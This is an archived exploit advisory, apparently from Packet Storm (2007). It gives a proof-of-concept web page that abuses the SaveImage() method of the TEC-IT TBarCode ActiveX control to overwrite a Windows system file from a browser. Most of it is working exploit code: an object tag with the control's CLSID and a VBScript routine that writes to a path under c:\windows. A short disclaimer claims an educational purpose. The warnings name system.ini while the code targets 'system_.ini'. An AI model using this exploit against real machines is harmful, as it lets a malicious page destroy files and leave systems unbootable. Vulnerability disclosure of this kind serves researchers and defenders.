tecit-activex.txt

2007-06-13T00:00:00
ID PACKETSTORM:57149
Type packetstorm
Reporter shinnai
Modified 2007-06-13T00:00:00

Description

                                        
                                            `<pre>  
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------------------  
<b>TEC-IT TBarCode OCX ActiveX Control (TBarCode7.ocx v. 7.0.2.3524) "SaveImage()" Remote Arbitrary File Overwrite</b>  
url: http://www.tec-it.com/asp/main/startfr.asp?LN=1  
  
author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
  
This was written for educational purpose. Use it at your own risk.  
Author will be not be responsible for any damage.  
  
<b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF  
IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>  
  
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7  
all software that use this ocx are vulnerable to this exploits.  
-----------------------------------------------------------------------------------------------------------------  
  
<object classid='clsid:D8541765-F6D2-4EE1-AEAA-4016BE1D9859' id='test'></object>  
  
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">  
  
<script language='vbscript'>  
Sub tryMe  
On Error Resume Next  
Dim MyMsg  
If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _  
"Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _  
"THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _  
" OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _  
" SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then  
test.SaveImage "c:\windows\system_.ini", 1, 1, 1, 1, 1  
MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/21 - TEC-IT TBarCode")  
Else  
MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/21 - TEC-IT TBarCode")  
End If   
End Sub  
</script>  
  
</span></span>  
</code></pre>  
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